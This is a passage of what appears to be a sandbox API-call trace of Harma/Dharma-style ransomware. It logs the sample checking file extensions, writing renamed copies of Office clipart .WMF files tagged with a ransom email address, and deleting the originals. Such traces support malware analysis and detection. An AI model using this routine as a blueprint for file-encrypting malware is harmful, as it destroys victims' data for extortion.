lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.014] lstrlenW (lpString=".doc") returned 4 [0159.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString=".docx") returned 5 [0159.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.014] lstrlenW (lpString=".pdf") returned 4 [0159.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString=".xls") returned 4 [0159.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.014] lstrlenW (lpString=".xlsx") returned 5 [0159.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.014] lstrlenW (lpString=".ppt") returned 4 [0159.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.014] lstrlenW (lpString=".zip") returned 4 [0159.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.014] lstrlenW (lpString=".rar") returned 4 [0159.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString=".bz2") returned 4 [0159.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString=".7z") returned 3 [0159.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.014] lstrlenW (lpString=".dbf") returned 4 [0159.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.014] lstrlenW (lpString=".1cd") returned 4 [0159.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.015] lstrlenW (lpString=".jpg") returned 4 [0159.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.015] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.015] lstrlenW (lpString="HM00172_.WMF") returned 12 [0159.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0159.016] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2832) returned 1 [0159.016] CloseHandle (hObject=0x37c) returned 1 [0159.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x20 [0159.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0159.017] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.017] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.017] GetLastError () returned 0x0 [0159.017] ReadFile (in: hFile=0x37c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xb10, lpOverlapped=0x0) returned 1 [0159.019] WriteFile (in: hFile=0x348, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xb20, lpOverlapped=0x0) returned 1 [0159.020] ReadFile (in: hFile=0x37c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.020] WriteFile (in: hFile=0x348, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.020] SetEndOfFile (hFile=0x348) returned 1 [0159.020] CloseHandle (hObject=0x348) returned 1 [0159.020] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.020] SetEndOfFile (hFile=0x37c) returned 1 [0159.027] CloseHandle (hObject=0x37c) returned 1 [0159.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0159.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.028] lstrlenW (lpString=".doc") returned 4 [0159.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.028] lstrlenW (lpString=".docx") returned 5 [0159.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.028] lstrlenW (lpString=".pdf") returned 4 [0159.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.028] lstrlenW (lpString=".xls") returned 4 [0159.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.028] lstrlenW (lpString=".xlsx") returned 5 [0159.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.028] lstrlenW (lpString=".ppt") returned 4 [0159.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.028] lstrlenW (lpString=".zip") returned 4 [0159.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.029] lstrlenW (lpString=".rar") returned 4 [0159.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.029] lstrlenW (lpString=".bz2") returned 4 [0159.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.029] lstrlenW (lpString=".7z") returned 3 [0159.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.029] lstrlenW (lpString=".dbf") returned 4 [0159.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.029] lstrlenW (lpString=".1cd") returned 4 [0159.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.029] lstrlenW (lpString=".jpg") returned 4 [0159.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.029] lstrlenW (lpString=".doc") returned 4 [0159.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.029] lstrlenW (lpString=".docx") returned 5 [0159.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.029] lstrlenW (lpString=".pdf") returned 4 [0159.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.029] lstrlenW (lpString=".xls") returned 4 [0159.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.029] lstrlenW (lpString=".xlsx") returned 5 [0159.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.030] lstrlenW (lpString=".ppt") returned 4 [0159.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.030] lstrlenW (lpString=".zip") returned 4 [0159.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.030] lstrlenW (lpString=".rar") returned 4 [0159.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.030] lstrlenW (lpString=".bz2") returned 4 [0159.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.030] lstrlenW (lpString=".7z") returned 3 [0159.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.030] lstrlenW (lpString=".dbf") returned 4 [0159.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.030] lstrlenW (lpString=".1cd") returned 4 [0159.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0159.030] lstrlenW (lpString=".jpg") returned 4 [0159.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.030] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.030] lstrlenW (lpString="HM00426_.WMF") returned 12 [0159.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0159.031] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=68776) returned 1 [0159.031] CloseHandle (hObject=0x37c) returned 1 [0159.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x20 [0159.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0159.032] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.032] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.033] GetLastError () returned 0x0 [0159.033] ReadFile (in: hFile=0x37c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x10ca8, lpOverlapped=0x0) returned 1 [0159.036] WriteFile (in: hFile=0x348, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x10cb0, lpOverlapped=0x0) returned 1 [0159.038] ReadFile (in: hFile=0x37c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.038] WriteFile (in: hFile=0x348, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.038] SetEndOfFile (hFile=0x348) returned 1 [0159.038] CloseHandle (hObject=0x348) returned 1 [0159.038] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.038] SetEndOfFile (hFile=0x37c) returned 1 [0159.044] CloseHandle (hObject=0x37c) returned 1 [0159.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0159.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.045] lstrlenW (lpString=".doc") returned 4 [0159.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.045] lstrlenW (lpString=".docx") returned 5 [0159.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.045] lstrlenW (lpString=".pdf") returned 4 [0159.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.045] lstrlenW (lpString=".xls") returned 4 [0159.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.045] lstrlenW (lpString=".xlsx") returned 5 [0159.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.045] lstrlenW (lpString=".ppt") returned 4 [0159.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.045] lstrlenW (lpString=".zip") returned 4 [0159.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.045] lstrlenW (lpString=".rar") returned 4 [0159.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.045] lstrlenW (lpString=".bz2") returned 4 [0159.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.045] lstrlenW (lpString=".7z") returned 3 [0159.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.045] lstrlenW (lpString=".dbf") returned 4 [0159.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.046] lstrlenW (lpString=".1cd") returned 4 [0159.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.046] lstrlenW (lpString=".jpg") returned 4 [0159.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.046] lstrlenW (lpString=".doc") returned 4 [0159.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.046] lstrlenW (lpString=".docx") returned 5 [0159.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.046] lstrlenW (lpString=".pdf") returned 4 [0159.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.046] lstrlenW (lpString=".xls") returned 4 [0159.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.046] lstrlenW (lpString=".xlsx") returned 5 [0159.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.046] lstrlenW (lpString=".ppt") returned 4 [0159.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.046] lstrlenW (lpString=".zip") returned 4 [0159.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.046] lstrlenW (lpString=".rar") returned 4 [0159.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.047] lstrlenW (lpString=".bz2") returned 4 [0159.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.047] lstrlenW (lpString=".7z") returned 3 [0159.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.047] lstrlenW (lpString=".dbf") returned 4 [0159.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.047] lstrlenW (lpString=".1cd") returned 4 [0159.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0159.047] lstrlenW (lpString=".jpg") returned 4 [0159.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.047] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.047] lstrlenW (lpString="IN00046_.WMF") returned 12 [0159.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.048] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1158) returned 1 [0159.048] CloseHandle (hObject=0x348) returned 1 [0159.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 0x20 [0159.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.049] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.049] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0159.050] GetLastError () returned 0x0 [0159.050] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x486, lpOverlapped=0x0) returned 1 [0159.057] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x490, lpOverlapped=0x0) returned 1 [0159.058] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.058] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.058] SetEndOfFile (hFile=0x334) returned 1 [0159.058] CloseHandle (hObject=0x334) returned 1 [0159.058] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.058] SetEndOfFile (hFile=0x348) returned 1 [0159.060] CloseHandle (hObject=0x348) returned 1 [0159.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0159.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.062] lstrlenW (lpString=".doc") returned 4 [0159.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString=".docx") returned 5 [0159.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.062] lstrlenW (lpString=".pdf") returned 4 [0159.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString=".xls") returned 4 [0159.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.062] lstrlenW (lpString=".xlsx") returned 5 [0159.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.062] lstrlenW (lpString=".ppt") returned 4 [0159.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.062] lstrlenW (lpString=".zip") returned 4 [0159.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.062] lstrlenW (lpString=".rar") returned 4 [0159.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString=".bz2") returned 4 [0159.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString=".7z") returned 3 [0159.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.062] lstrlenW (lpString=".dbf") returned 4 [0159.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.062] lstrlenW (lpString=".1cd") returned 4 [0159.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.062] lstrlenW (lpString=".jpg") returned 4 [0159.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0159.063] lstrlenW (lpString=".doc") returned 4 [0159.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString=".docx") returned 5 [0159.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.063] lstrlenW (lpString=".pdf") returned 4 [0159.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString=".xls") returned 4 [0159.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.063] lstrlenW 